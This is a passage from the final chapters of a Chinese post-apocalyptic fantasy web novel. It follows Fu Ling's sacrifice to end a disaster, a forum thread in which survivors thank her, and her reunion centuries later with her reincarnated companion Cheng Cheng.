楚河皱了皱眉:“你会死。”
游寂笑了:“妈的,伏苓,老子能不能活下来就看你们了!”
话音落下,以他为圆心,形成了一个小小的屏障,然后缓缓扩大,扩大,直到涵盖住正在哀嚎的所有人。
—
秦晚一口血喷出。
周围的感染者突然暴动起来,还活着的人跟着军队去了建筑内部,感染者无法跟他们共处一室,秦晚只好控制着他们尽力贴着建筑外墙站着。
但不知为何,在某一瞬间,好些感染者突然暴起,朝着外面走去,瞬间直挺挺地倒在地上,失去了行动能力,变成了一具真正的尸体。
地面像是一个巨大的海绵,那些尸体则是水滴,缓缓消失在了地面之中。
秦晚急促地呼吸着,
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军队的战士们用栏杆围住感染者,在建筑内部用绳子拉紧栏杆,但根本没办法阻挡感染者的步伐。
情急之下,好些战士们不顾一切地冲出来用血肉挡住了他们。
秦晚眼前模糊了一瞬,她下意识抬手,在脸颊上抹下了一把泪水。
原来,真的还有人把自己,把感染者看成是一个人。
她冲过去跟战士们站在一起,不顾嘴角缓缓留下的鲜血死死挡住暴动的感染者。
伏苓!真的,只能靠你了。
—
力量汇聚在手心,伏苓缓缓起身,冷冷道:“还躲吗?”
血兔从她身体里抽离出来,小心翼翼但又担忧地说:“不躲了,你……还好吧?”
“林随遇!”楼下传来撕心裂肺的惨叫声,如同活生生从人身上剜下一块肉来。
伏苓整个人狠狠一颤,她意识到了什么,狠狠看向血兔,眼里满是嗜血的杀意:“你们不是想让我成神吗?”
血兔往前挪了一点,小心劝道:“你要不要先冷静一下?大部分生命能量都被抽离,现在林随遇承受了双份,肯定是抵不住的。但是按照你们的异能使用情况,林随安原本也是要死的,现在起码,她还活着呀。”
伏苓指尖神经质地抽搐一瞬。
血兔继续解释:“你现在已经是神了,再怎么样也没办法改变了啊。”
“神迹啊!这是神迹啊!”癫狂的笑声从伏苓身后传来,沈文乔双目猩红,死死盯着伏苓的背影,状若疯魔,“太完美了,太完美了!你的身体完完全全接受了巨量的能量!”
伏苓没有回头。
“很多东西,是要用心去抵抗的。”
她脑海中忽的闪出这句话。
周围的一切都在颤抖,能量汇聚在她体内,她闭上眼睛,感受着它们的存在。
她扯唇,状若无人地跟血兔继续。
“谁说我没办法改变?”她声音带着颤,但却异常坚定:“我不要做神,你们强制性附加给我的,我都不需要。”
她将所有能量汇聚在掌心上。
“当你极度厌恶抗拒一个东西的时候,世界上就没有什么能摧毁你的意志。”
伏苓猛地捏紧拳头,像在金城捏碎了那颗核心一般捏碎了数以万计的异能。
血兔尖叫起来:“你会承受不住的!”
比这只兔子的尖叫声更加尖锐的是沈文乔的叫声,她意识到了伏苓要做什么,猛地朝她扑过来:“不可以!”
能量如同汹涌的潮水疯狂地喷涌而出,向四面八方猛烈爆发。
空气被瞬间撕裂,发出尖锐的呼啸声,巨大的冲击波如同一圈圈无形的涟漪,迅速扩散开来。地面在这股异能的冲击下剧烈颤抖。
尘土飞扬,碎石四溅。
如同在地面上投下一颗炸弹,能量呈圈状向外扩散,融进雨水,均匀地散入了每一个人的体内,天空被染成了刺目的红,像是一大片鲜血溅了上去。
伏苓呕出一口血,她跪倒在地,鲜血不断从她嘴角滑落。
巨大的能量,猛烈地撞进她的身体后,又被急速地弹开,这种感觉就像失血过多的伤患输了血之后,血液又被尽数抽走。她浑身如同被大卡车碾压过,疼得几乎感受不到自己的身体。
但伏苓却咧着嘴笑了。
血兔打了个寒颤,这瞬间它仿佛又回到了第一次见伏苓时,那时候她便笑得癫狂,是一路上朋友之间的感情,才让她变成如今的模样。
而此刻,一切却仿佛回到了原点。
伏苓笑着笑着,泪水大颗大颗地滑落,在血迹斑驳的脸上,留下一道道泪痕。
她自诩无坚不摧,挡在自己路上的一切都能被她摧毁,可到头来,她谁都没有救下。
她仿佛一个被置身事外的记录者,世间的一切发生她都无法改变,只能眼睁睁的看着所有的一切重蹈覆辙。
原来,她只是世界上最最平庸的一个人。
……
林随安呆呆跪在地上,像一尊没有灵魂的雕像。
身后传来脚步声,又轻又缓。
林随安回头,看到了孤身一人的伏苓。
她扯了扯嘴角,想露出一个笑来,却怎么都笑不出来:“程承呢?”
伏苓沉默半晌,缓缓摇了摇头,她哑声道:“抱歉。”
林随安又哭了,她摇着头:“没有,不是你的错。”
她死死捂着脸,不让哭声溢出,“伏苓,那瓶药水,你知道吗?”
伏苓低低地“嗯”了一声,再次重复:“抱歉。”
她没有解释,林随安也不需要解释,以她的聪明程度,怎么会不知道哥哥在想什么?
她只是在怪自己,怪自己没有尽早察觉,怪自己太弱了,让自己深陷绝境,逼得林随遇不得不出此下策。
都是她的错,跟伏苓有什么关系呢?
头顶传来了水流涌动之声,伏苓警觉抬眼,大步跨到林随安身边将她架起来:“水要漫下来了,还能走吗?”
林随安摇摇头:“应该可以,但是跑不起来了。”
伏苓二话不说将她背到肩上,朝着他们下来的电梯奔去。
GE的声音在耳边响起:“伏苓小姐,入门的电梯已经被我控制,只要你们进入电梯,就能向上移动,但里面进水了。”
伏苓“嗯”了一声。
木门打开,汹涌的水扑了过来,伏苓艰难在水中行走,扒着门进了电梯。
电梯即刻启动,颤颤巍巍地向上爬去,水从四面八方渗透进来,木门已经被水冲怀,无法再关起来了。门外的水混着沙子不断地往里面涌。
伏苓死死抓着侧边的门,不让自己被水流冲倒。
电梯在艰难之中终于到了地面,这个电梯小屋的位置本就低洼,停下来的时候,雨水已经漫过台阶,伏苓顶着大雨,踩着水爬上越野车。
车门关闭,将雨水隔绝在外。
伏苓甩了甩头,看向林随安:“还好吗?”
林随安摇摇头:“没事。”
这场雨真是奇怪,就好像专门是为了阻挠他们一样,两人上了车之后不久,雨便停了。
伏苓拉开车门,走了下去。
广袤无垠的沙漠很快吸收掉那场大雨,不知是谁在这里落下一颗花朵的种子,竟然熬过了八年的绝望时光,在此刻吸饱了水缓缓破土而出。
阳光穿破层层云雾,照射在金黄的沙子上。
那朵白色的小花轻轻摇晃。
伏苓忽地响起,这朵花的名字叫秋英。
——美好的未来。
她低着头,沙漠中的那朵白色秋英在她眼前变得模糊。
“随安。”她喊道。
车内的人低低地应了一声。
伏苓深呼吸了两下,缓缓道:“你先回去吧,我想一个人走一走。”
她明白,即便林随安什么都没说,即便林随安没有将林随遇的死怪在她头上,但伏苓知道,这时候,林随安其实是不太想见到自己的。
不是因为怨恨,只是不知道该如何与伏苓相处。
一切的一切,起源于伏苓,又隐没于伏苓。
她很有自知之明,没有挑明了说,温柔地避开了让林随安愧疚的地方,给予两人属于各自的自我疗伤时间。
林随安睫毛轻轻颤动,但什么都没说。
伏苓背对着她,声音不受控地颤抖:“S47会把你送到集庆,后备箱里还有吃的。我……就不跟你同行了。”
林随安偏头看她:“那你怎么回去?”
伏苓转过身来,笑了一下,只是她的眸中,却依旧平静,或者说,麻木。
她说:“虽然将能量还了回去,但已经死去的那些人,他们体内的能量和血肉还是留存在我身上。虽然没有达到沈文乔的预期,但我现在,却已经是半个神了,不死不灭。所以这点距离其实不算什么,不用担心。”
林随安点了点头,伏苓挥了挥手,车门便缓缓关闭。
隔着玻璃,两人对上眸子。
或许是玻璃太厚,又或许是风沙太大,对方原本清晰的眸子却在此刻模糊不清。
越野车缓缓离去,带走一片沙土。
伏苓站在原地,半晌,才迈开步子。
脚印一深一浅,又很快被沙土掩埋。
身后沙土之下传来爆裂之声,伏苓微微一顿,继续向前走去。
不知什么东西落在她的鼻尖,伏苓伸手想去触碰,那东西却瞬间化成水。
伏苓抬头,看见天地之间一片苍茫,雪花顶着耀眼的太阳纷纷扬扬地飘落,如同一幅巨大的白色画卷。
风呼啸着,吹过空旷的沙漠,带着刺骨的寒冷。
如泣如诉。
74. 沙土下的罪恶04
“伏苓。”
伏苓微微一愣,停下了脚步,她抬眼向前看去,撞入了一道漂亮的眸子。
秦晚走近了点:“不认识我了?”
伏苓这才意识到这是谁,她问:“你没事了?”
秦晚点点头:“其实还是有很多感染者都被地面吞噬了,他们成为感染者太久,没有试图去抵抗的力气。但在军队的帮助下,活下来的人都恢复了原样。”
她顿了顿,看着伏苓孤身一人,大致猜到了什么,她抿了抿唇,沉默了片刻才道:“伏苓,谢谢你。”
伏苓扯了扯唇。
谢她什么呢?
秦晚继续道:“那场雨格外恐怖,我能预料到,如果没有你们,或许大家都会死的,但是现在——”
她微微侧身,伏苓看见了她身后,破败废墟中,熙熙攘攘的人群。
如同嫩芽从焦黄的土里萌发生机。
秦晚看着他,眸中闪着天边照过来的光:“起码这场惨绝人寰的灾难里,活下了这么多人。”
人声鼎沸,伏苓听不清他们在说什么,只能模糊地看有人在哭,有人在笑,但看向自己的目光,都带着强烈而浓厚的情绪。
小水拉着一个女人的手从人群中挤出来,他走上前来,也不知为何停在了伏苓前面半米处。
他的泪水止不住地流下,像一个失去闸门的水龙头:“伏苓姐姐……谢谢你,真的谢谢你,这是我妈妈,你们见过的!当时下雨的时候,秦晚姐姐一直抓着我和妈妈,快要坚持不住的时候,所有的一切都消失了!秦晚姐姐说,是你们做的。姐姐,谢谢你们。”
女人脸颊上的红痕还未完全消去,她眼含热泪,努力保持着微笑:“相信您,在这场灾难里,没有放弃我们。”
他们应该也是猜到了,为何只有伏苓一个人回来。他们不敢提太多其他人的名字,只能不停地说着谢谢。
在两人身后,无数人的声音如雨后春笋般冒了出来,一声声的谢谢如同二重唱,生生不息。
伏苓垂着眸,良久,才突然笑了出来。
—
游寂靠在一旁的墙上,懒洋洋地打了个哈欠:“来了没?”
他的头发从之前的黑色变成了极近透明的白,像一个年近百岁的老人,但容貌却没有太大的变化,苍白的脸色相映着白发。
楚河安静站在路中,没理他。
元真无语地瞥他一眼:“之前好歹还装一装呢。”
游寂冷笑一声:“人都差点死了还装什么?”
远处,一道孤独的身影慢慢走近,楚河眼皮一跳,朝前方跑去。
游寂一下子站直身体,追了上去:“跑什么跑什么?”
伏苓远远看到他们靠近,突然不知该说些什么,楚河停在她前方,目光沉静,眉头不自觉地皱起:“伏苓。”
伏苓“嗯”了一声。
楚河斟酌着,侧了点身:“丰镐的百姓都没什么事,紧要关头,游寂救了他们,只有之前几个经常被游寂派出去的异能者牺牲了。”
游寂赶到的时候只听到后面一句,他白了楚河一眼:“你点我呢?”
说完,他又上下打量着伏苓,短促地笑了一声:“怎么?就你回来了?”
伏苓看着他一头白发:“你这是……”
游寂笑了一声,用手拂过发丝:“刚染的,好看不?”
伏苓定定看着他,片刻后移开了目光,敷衍地嗯了一声。
看她这副模样,游寂耸耸肩:“伏苓,同伴固然重要,但如果你因为他们牺牲就丧失斗志,像现在这样半死不活的话,我还真有点瞧不起你了。”
楚河语气加重:“游寂,你如果不会说话可以闭嘴。”
伏苓撇了游寂一眼,避开了后面尖锐的问题:“没有,随安还活着。”
她顿了顿,问:“你们怎么样?”
楚河摇摇头:“应该没事。”
游寂:“你想问的应该是为什么我还活着吧?”
伏苓安静了几秒,摇摇头:“并没有。你的异能并不强,主要靠的是核心的力量。”
游寂气笑了:“放屁?我不强?我可是……”
“闭嘴吧你。”楚河冷冷打断他,又放缓了语速:“伏苓,要不要去丰镐休息几天?”
伏苓垂着眸,片刻后,她摇了摇头:“不了,我还得回临安。”
楚河没有强求:“好吧,城里有车,你开车回去吧。”
“不用,我不会开。”伏苓扯唇。
楚河点点头:“好,那等丰镐这边稳定下来,我去临安找你。”
—
“我来,是想跟你道歉。”伏苓声音轻轻。
杯盏酝出阵阵水汽,再一程摇摇头:“不是你的错,没必要。”
他的手无意识地摩挲着杯壁,目光却始终没有聚焦。
他唇瓣翕动几下,深呼吸了几下,问:“抱歉,我可以……抽根烟吗?”
伏苓轻轻颔首:“你随意。”
他从口袋里摸出一包皱皱巴巴的烟。
雨灾多年,基本上找不到什么烟,他也算是早就戒了。
这一包是一切都结束时,他无意间翻到的。这么多年过去了,这包烟早就过期了,但他现在是真的很想来一根。
再一程手指打颤,摁着打火机,好几次都没能把烟点着。
伏苓安静地看着他,没有打扰。
他抬头不好意思地笑了笑,却笑得如同桌上的茶水,没了气,没了香,只剩下一杯苦涩。
等他将烟点燃,夹在手上颤抖地叼在嘴里,又很快拿下。
太久没有抽烟,他居然已经无法适应这个味道了。
零星的火光缓缓燃烧,再一程失神地看着,半晌,才抬起头。
他认真道:“我……其实想过这个结果。”
他深呼吸了两下,声音带着点颤:“但没想到会真的发生。说实话,我……我现在有点不知道该怎么形容我的心情,但我还是觉得,你应该比我更痛苦。”
他眼神柔和,轻声道:“伏苓,虽然这个结局很痛苦,但不是你的错。希望你能放过自己。”
—
“随安,只有……你回来了吗?”一个队员犹豫着问出口。
旁边的队员狠狠戳了他一下,用眼神瞪着他示意他别乱说。
那人慌忙找补:“额,没事,有我们在呢,林队说过,军区里的每一个人都可以是你的哥哥!”
旁边队员忍无可忍:“……你能不能闭嘴?!”
“没关系。”林随安扯了扯唇,摇摇头,她长长叹了口气,浓密的睫毛遮住了她眼底的情绪,“我没有那么脆弱,虽然……”
虽然,她真的好想好想哥哥。
一旁的队员连忙揽住她的肩膀:“你们面对的事情肯定很难,要是我们过去啊,估计无人生还,所以随安你已经很棒了!你们之间不管谁回来,我们都会很高兴的。”
似乎是怕自己多说多错,这些队员连忙转移话题,拉着林随安走远。
“你知道吗?知道你今天回来食堂,可是做了好多好菜,你去别的地方,好久没吃我们集庆菜了吧?今天多吃点!”
伏苓安静地看着他们离开,确定林随安安全后,离开了角落的小巷子。
不知为何,早已远去的林随安突然转头,目光有些茫然地看向伏苓原先站着的位置。
“林随安!干嘛呢?”
前面的队员发现她站在原地不走了,连忙喊她。
林随安再次回头看了一眼,转身:“来了。”
—
伏苓走在街上,周围的百姓正在相互帮忙着把倒塌的房子重新建造起来。
交谈的声音像一把利刃,穿透乌云密布的天,让整个世界都活了起来。
“大英雄。”一辆熟悉的车停到伏苓身边,窗户缓缓落下,露出了方休的脸。他笑笑:“上车?”
伏苓顿了顿,上了副驾。
方休嘴里叼了根棒棒糖,熟练地操控着方向盘向前驶去,他从后视镜瞄了眼伏苓:“你这车给那小姑娘开了吧?她下车之后,车子就主动过来找我了。”
“直接回去吗?要不要去见见谢增?”方休问:“军区的人都知道是你们的努力,才让这场灾难结束,他们都想着要谢谢你们呢。”
伏苓摇摇头,声音带上了点沙哑:“不了吧。”
方休笑了笑:“我猜也是,所以其实我已经开向临安了,刚刚只是问一下。”
他安静了一会,又道:“你应该没什么想要问我的吧?”
伏苓:“没有,我差不多都知道了。”
方休叹了口气:“抱歉,要是我能破解得再快点……”
“忧忧还是会死。”伏苓声音淡淡,“沈文乔他们早就定好了忧忧的结局,所以不管你能快到什么程度,他们总会有各种各样的理由杀死她。”
方休顿了顿:“那程承呢?”
伏苓垂着眸,睫毛像一只受惊的蝴蝶般颤抖。
半晌,她才哑声道:“他也是。”
车子开得很快,很快便到了临安城内。
方休犹豫着:“你想去哪?地下之城的人都已经搬出来了,他们正在建房子,之前你们家那栋房子应该还能住人,要不……”
“不用。”伏苓摇摇头,“就回地下之城吧,刚好也没人会回去了,我一个人待在那也挺好。”
方休有些无奈:“伏苓,大家更希望像你这样为灾难牺牲很多的人能够融入集体,起码你应该接受大家的谢意。”
伏苓沉默着,好半晌,才轻声道:“我知道,但我想一个人待会。”
方休叹了口气:“行吧,我会经常去看你的。”
方休离开后,伏苓安静地推开了地下之城的门。
一切都是熟悉的样子,原本住在这里的无能力者离开的时间不长,用具都还崭新如初,只不过攻击性的武器都被撤掉了。
那块花圃里的秋英基本上都被离开的百姓们带走了,只剩下了角落里的几朵。
外面的光亮从屋顶的缝隙中透进来。身后的小门缓缓关闭,伏苓站在原地。
她缓缓蹲下,颤抖着捂住了自己的脸。
-
【关于战备机停用的相关说明】
1L:大家好,这里是集庆军区。网络和信号已经基本恢复,战备机将在两日后全面停止供应信号和相关功能。在每一位勇士的全力以赴下,灾难已经被我们攻克。希望各位民众向前看,军区会尽我们所能帮助大家重建家园。此致。
2L:大家都辛苦了!!
3L:辛苦了各位。
4L:有生之年系列作品再添一员猛将!我现在还不敢相信这场灾难真的已经过去了,重建的时候我脑子都是懵的。
5L:谁不是呢。我是自来水厂的维修员,刚把供水恢复,大家可以快乐地拉屎啦!
6L:楼上虽然我真的很感谢你,但是我们能不能说的稍微优雅一点?
7L:我是国家电网的,电力已经恢复了!大家用的开心!!
8L:ovo!!
9L:我是食品局的哈哈哈,最新一批供给已经出发了,快的话今晚大家就可以吃上热乎的饭菜啦!
10L:我爱楼上!天知道这八年只能啃压缩饼干和挂面我是这么过来的!
11L:楼上居然还能吃到挂面?!我气得牙痒痒。
12L:这么跟你说吧,我是北方的。
13L:谁有我惨,我南方的,八年没喝上一口汤,今天早上才喝上第一口!
14L:谁有我惨,我八年没吃上一根辣椒!
15L:谁有我惨,我八年没吃上一口土!
16L:楼上为什么要吃土?
17L:请你尊重各地饮食文化!!
23L:其实还有一点舍不得,这台战备机陪了我六七年,突然要停用我还不习惯呢。
24L:数据可以保存呀,战备机使用年限超级长,可以留着当传家宝,等百年之后你就可以给你孙女孙子吹牛,你爷爷我当年可是抗击雨灾的一线战士。都能直接单开一页族谱了好吧!!
26L:谁能拒绝单开一页族谱呢?
35L:妈妈我吃到热乎的饭菜了!!
36L:靠,凭什么你这么快?!
37L:人好少啊,这帖子早上八点发的,现在都下午六点了居然才回复了这么点楼。
38L:哎呀可以理解啦,大家都忙着重建呢,热火朝天的,没来得及看论坛真的很正常。
39L:伏苓。
40L:???楼上这是……
41L:我试试能不能发出来,好像可以发不可说的名字了。
42L:伏苓伏苓伏苓伏苓。
43L:我靠我靠我靠!!真的可以!
44L:原来不可说的名字叫伏苓吗?之前一直都用you-know-who来代替,我一直不知道她的名字。
45L:说起来,这场灾难是她的小队力挽狂澜吧?
46L:对,我想
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军区放开屏蔽词也是希望我们能记住这些英雄的名字。
47L:太好了!我知道我知道,伏苓的队伍一共五个人,分别是临安城的程承和祝无忧,集庆军区的林随遇和林随安!
48L:楼上是不是知道的太多了?
49L:不多不多,只不过在丰镐遇到过!
50L:原来伏苓的队伍是一点点扩大的吗?当时追杀令上不是才两个人吗?然后在临安又加入了祝无忧,后来去了集庆才扩大成五个人的吧。
51L:再次感叹伏苓的牛逼。
52L:但是好像,他们都在最后那场大战中牺牲了。
53L:啊??啊????
64L:我靠不要吧!我眼泪一下子出来了,真的不要让这些救下所有人的英雄死在结束前夕啊!
72L:楼上,你一说我就绷不住了,要是真是那样,那不就等于他们一眼都没有看见现在重建时大家的高兴和热火朝天的希望吗?
86L:呜呜呜不要啊!
92L:别听楼上瞎说,伏苓和林随安还活着,其他三个牺牲了。
99L:谢谢楼上,心更死了,我真的会崩溃。
126L:据可靠消息,当时他们五人单抗上千个感染者,最后不敌才牺牲了。
131L:上千???
154L:已经能想象当时的惨烈了。
178L:救命我现在眼泪止都止不住。
203L:楼上消息不太准确,没有不敌,其实他们是战胜了那些感染者的,是死在了能量回收的阶段。
210L:没有吧,我听人说是不敌的呀?
265L:官方能不能通报一下啊。
278L:就算通报也只会简单说一下,不会说太详细的。
305L:有人知道伏苓和林随安现在在哪里吗?我想去看看她们。
326L:我也想去!虽然好像没什么东西能送给他们,但好歹可以好好谢谢她们!!
421L:问到了,林随安在集庆军区,伏苓不知道去哪了。
433L:我就在集庆,我现在去军区。
454L:楼上等等我,我们一起!
465L:我也在集庆,我也去!
501L:好多人,这样吧,我们在音乐台那边集合,然后一起去。
587L:那……伏苓呢?
654L:楼上,我们见到林随安了,她也不知道伏苓去哪了。谢队说本来他也想见见伏苓的,但怎么也联系不上她。
666L:不会出事吧?
678L:楼上太小看伏苓了,一个能单手炸毁前瞻集团,单挑秦磊,带着四个人就敢直接闯进有数千感染者的肃州,你真觉得她会因为朋友的逝去而想不开吗?这种心志坚定的人就算再痛苦再崩溃也不会自我了断的。
693L:唉,好想跟伏苓说一声谢谢,感觉她承受太多了,可是又找不到她。
700L:我有个想法!论坛还有五个小时就要关闭了,但是已经回复了的帖子再点击来还是可以看到,不如我们就在这里感谢一下伏苓吧,说不定她能看到!
701L:谢谢伏苓。
702L:谢谢伏苓。
713L:伏苓女士,如果你可以看到这里的话,请你一定要知晓我对你的感谢。被困在丰镐的那几天是我一生中最恐惧的时刻,那里的规则、人民、以及无处不在的言灵比感染者要恐怖一万倍,在我最害怕最恐惧的时候,是你的出现,让我们意识到言灵并非不可战胜,我不知道您在肃州遇到了什么,也明白您此刻一定是悲伤而痛苦的,但请您相信,你的所作所为都促进了灾难的结束,我们感激您做过的每一件事。
765L:亲爱的伏苓,你好,我是之前在金城嘉年华里躲在安全屋里的男生,你可能不太记得我了,但这几天我的脑海里都是你的身影,你、程承,以及祝无忧在我心里就如同神明一般。我们在嘉年华里躲藏了数年,眼睁睁地看着、听着每一个同伴死去的场景,你们是第一个愿意踏入嘉年华拯救我们的人,如果不是你们,我们可能早就撑不住了。真的非常、非常感谢你们!
786L:我是陈静,哎呀伏苓你可能不太记得我了,我是在集庆被你们救下来的小陈,还记得吗?就是从棺材里爬出来的那个哈哈哈你也没想到我的全名是这个吧?说实话,幻境里的生活太美好了,被拉出来的第一秒,我想的是你们是不是有病干嘛破坏我的美梦,但很快我就意识到,如果不是你们,我可能已经被秦磊喂给感染者,成为他们异能的垫脚石了。真的非常感谢你们救了我们!而现在,幻境里的那些美好不再仅仅是幻境了!
841L:主人我是你的狗啊!当年那条分析贴的楼主,高铁上遇到的,你还记得吗!你肯定记得嘿嘿嘿,真的很感谢你救下我们一车人!当时你英勇帅气的身姿深深刻在了我的脑海里!到现在我都没忘记,希望主人要记住,你是我们很多人眼中唯一的希望,如今的和平是你们用鲜血换来的,不管怎么样,伏苓,程承,祝无忧,林随遇,林随安,这几个名字都将永远镌刻在英雄的纪念碑上!
903L:伏苓姐姐,我是小欢,我知道你在哪哦!但是爸爸说,你现在很难过,不想面对大家,我都明白的!姐姐你看到我给你留的白色秋英了吗?爸爸他们本来要把花都挖走的,是我偷偷薅了几朵给你种回去啦!姐姐不想见到人,那就让这朵花了几年才开出来的花陪着你吧!要开心哦,如果想出来了可以来找我!我会一直等姐姐的!
936L:伏苓,我是楚河。想了很久不知道说什么,只想问一句,之前你说我空下来了可以去找你,这句话,还作数吗?
947L:我是秦晚,冯辉那傻逼天天跟我讲冷笑话,我快崩溃了。他昨天说,他有个朋友叫小丘,瘫痪了很久突然站起来了,现在叫小兵。。。。。。求你了,回来看一眼吧,他屯了好久的冷笑话,不是,笑话,就等着给你讲呢。小水也天天嚷嚷着找你,如果有时间,给我回个消息,我立马带着这一帮子人去临安找你。还有就是,我也很想你。
968L:我是谢增,伏苓,大家都很想你,所有的一切都不是你的错,你是受害者,也是拯救一切的英雄。希望能再次见到你。
985L:游寂。你去哪了,伏苓?我时间不多了,想找你磕会头。
1055L:我是林随安。伏苓,你在哪?
1056L:论坛功能已禁用,该贴永久封禁,已禁止回复。各位民众,我们新世界见!
75. 尾声
传说,世间本无神明,但灾难降临,神明落入凡尘。
如果遇到危机时刻,只需喊一声“伏苓”,神明就会降临在你身侧,护你周全。
“妈妈,这个传说好假。”小姑娘身穿漂亮的蓬蓬裙,仰着脸说,“要是真有神明,为什么我昨天想吃冰淇淋的时候喊她,她却没有睬我?”
打扮清丽的女人牵着她的小手,弯着腰笑道:“都说了是危急时刻啊,你想吃冰淇淋的时候,危急吗?”
小女孩瘪瘪嘴,目光突然被身后的糖葫芦吸引,她指着小推车:“妈妈,我想吃糖葫芦!”
糖葫芦摊子旁边很多人,女人想了想,蹲下身子:“那妈妈去买,你在这里不要动哦。”
女孩乖乖点了点头,她所站的地方是一棵大树下,周围人来人往,巨型的广告牌挂在高楼大厦上,街边开满了各种各样的店铺,一片繁荣的景象。
女孩低着头玩着自己的小皮鞋,突然,尖锐都刹车声和尖叫声从一侧传来,女孩抬头,漆黑的瞳孔中映照着以极快速度向他冲过来的卡车的倒影。
她呆愣在原地,脑中电光火石般想到了刚刚妈妈说的传说。她下意识呼救:“伏苓!”
女人买完了糖葫芦,正准备往回赶却看到了这一幕,她目眦欲裂,凄厉地叫喊着冲过去。
但是已经来不及了。
卡车已经近在咫尺,哪怕猛踩刹车,也不可能停下。她满脸绝望,这一刻,她无比期望真的有神明在世,救救她的孩子!
千钧一发之时,一道穿着红衣的身影如闪电般穿入卡车之间,被巨大的车箱遮挡住了视线。卡车在下一秒砰的一声撞在树上,几乎将车头都砸到凹陷了进去。
“妈妈……”稚嫩的声音从车底传来,女人猛地转头,看到一个漂亮的女孩抱着孩子从车底下慢慢地爬出来。
她呆愣在原地两秒后冲过去,死死抱住了失而复得的孩子,泪水止不住地涌现:“谢谢,谢谢……”
女孩抿着唇,她转头看向小声喘着粗气的少女:“你是……伏苓吗?”
少女短暂地愣了一瞬,笑得眉眼弯弯:“不是哦。我姓梨,梨先雪。”
在无人注意的角落,一条红线缓缓后退,速度不断加快、再加快。红线割破空气,急速收缩。
穿过熙熙攘攘的人群,穿过沃野千里,千岩万壑。
昏暗的空间里,只有头顶的光照入,隐隐约约能看到里面的景象。
宽阔空间的中央悬着一个巨大的眼球,白色的眼皮上坐着一个身着黑衣的少女。
她坐姿嚣张,凭空出现的红线一根根地缠绕在她的左手指尖上,将她不可一世的姿态微微压下些许。
少女的左手每一根手指上都向外延伸出数千数万条红线,而右手却寥寥无几,只有孤零零的四根红线各自缠在每一根手指上。
红线收回,乖顺地缠绕回她的指尖,伏苓眼前还能看到女孩抱着妈妈痛哭的场景,她挥了挥手,将场景打散。
一只血红的兔子从她身后爬上来,顺着她的手臂爬到红线上。
它相对于之前变得娇小了一点,瘫在红线上摇摇晃晃,软着嗓子说:“辛苦啦~”
伏苓看了它一眼:“别夹。”
血兔:“……真是给瞎子抛媚眼,白费我一番心意。”
它有些百无聊赖地弹着红线:“你说其他三个人的红线都动了好几次了,程承那根怎么还是一点动静都没有?”
每一根红线都连接着世间每一个人的命运,每当林随安他们能重新建立起连接,连在福林右手上的红线就能感应到,从而发出信号——一般来说,信号都是颤抖。
而能重新建立连接的条件,大部分都是,转世。
也就是说,其他三人已经转了好几世,程承却丝毫没有动静。
伏苓垂眸着看无名指上的红线,摇摇头:“我也不知道。”
方休在很久很久很久以前就已经去世了,她没有办法去询问现在到底是什么情况,只能这样干等着。
经历过那场灾难的人都活得不长久,哪怕是无能力者。
最开始还会有相识的朋友前来找她聊聊天说说话,后来大家便一个接一个地离开了。
伏苓送走了与自己相识的所有人,最后世间好像就没有人记着她了。
这么多年来,她经常去看看转世后众人的情况,看到他们没有什么问题,才会放心地离开。
但,伏苓从未与他们相认。
转世几次,所有的记忆都会烟消云散,曾经的那段记忆太过痛苦,既然他们早就忘却,伏苓也没必要唤醒之前的记忆。
如果可以的话,那些痛苦她一个人记得便足够了。
只是,似乎一切都是最好的选择,但心中总是空落落的。
可能是因为程承还没有出现,也可能是因为曾经的记忆只有她一个人记得,这件事本身就会令人感到怅然。
突然,无名指的红线猛烈地颤抖起来,像是死去多年的心脏开始重新跳动。
伏苓骤然抬起头,从高处一跃而下,打开门向外飞奔。
是他,他回来了!
一切的交通工具都无法压下疯狂的心跳,伏苓只想飞奔,只想用强烈的运动缓解心脏的疯狂跳动。
街景飞速向后退去。
伏苓突然想。
她爱程承什么?
爱他始终陪在自己身边,爱他能理解自己的情绪,还是爱他始终坚定不移地站在自己身侧?
可他也曾与伏苓背道而行,也曾产生过激烈的争吵,那时候,自己就不爱他了吗?
他消失数百年,伏苓的心脏就不会因他跳动了吗?
她垂着眸,目光落在将自己指尖上猛烈颤抖的红线,脚步飞快。
可是,哪怕他与自己已经数百年未见,她依旧会因为他的再次出现而心动。
她爱的,从始至终都只是这个人的存在而已。
他存在,她便爱。
-
Z大篮球场。
大林跳起来将篮球拍下,球撞击在地面,然后砸在了呆站在侧边的男生的头。
他龇牙咧嘴地喊道:“程承,你傻站那干嘛呢?”
站在侧边的程承身着一身白色篮球服,深蓝色的数字印在后背,他抬手将篮球拍走,摇了摇头:“没事,突然愣了一下,感觉好像忘记了什么很重要的事情。”
大林跑过去弯腰把球捡起来,夹在手臂下,笑嘻嘻地说:“咋了,家里煤气没关?”
程承白了他一眼,向篮球场外走去:“不是,我不打了,走了。”
大林追上去:“不是吧?才打了没一会儿啊,你不出来跑跑跳跳,哪有小姑娘喜欢你?”
听到这句,程承心中涌上一股烦躁。
他很清楚地知道自己心中并没有
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一个确切的、爱着的人,但却不知为何总是反感一切试图与他建立关系的人。
脑海里一道模糊的身影闪过,仿佛梦中的场景,怎么都看不清。
他心里闷闷的,没心思跟大林开玩笑:“滚,我不谈恋爱。一会儿不是还要去学校大礼堂吗?”
说完,他烦躁抬眼,却撞进了一双乌黑透亮的眸子。
那个瞬间,风霜跨越千年的阻碍,吹散了眼前迷住双眼的风沙,将藏在深缸中酿了千年的陈酒打碎在地,流淌出醇香。
凝固了三百五十七年,十二万个日夜的时间终于在此刻缓缓流动起来。
他耳朵一阵阵的嗡鸣,无数模糊碎片骤然变得清晰。
女孩嚣张却温柔的声音在他耳边浮现又消失,一声一声宛若浪潮。
身侧的人说的话,他已经听不清了。此刻,他的眼中只有眼前安静站在树下的女孩。
“……你有没有听我说话?你在……”大林顺着他的目光看去,两眼发直地看着伏苓:“我超,美女啊。”
他猛地回神,甩了甩脑袋:“不是,美女你也不能直勾勾看着人家啊?你是变态……你哭了?”
程承下意识摸了摸脸,才发现他早已泪流满面。
他再次看向伏苓,仿佛怎么都看不够似的,哽咽道:“……伏苓。”
伏苓安静地看着他,轻轻道:“嗯,好久不见,程承。”
她低头轻笑,摊开手心,将那颗系在黑线上的戒指露了出来:“我来,把东西还给你。”
程承没忍住哭出了声。
他向前飞奔,像那阵裹着记忆的风雪,将伏苓拢在怀中。
与此同时。
某处的一条街道上,身着棒球服的林随遇微微弯腰,笑得漫不经心:“好巧,我们的名字就差一个字诶。”
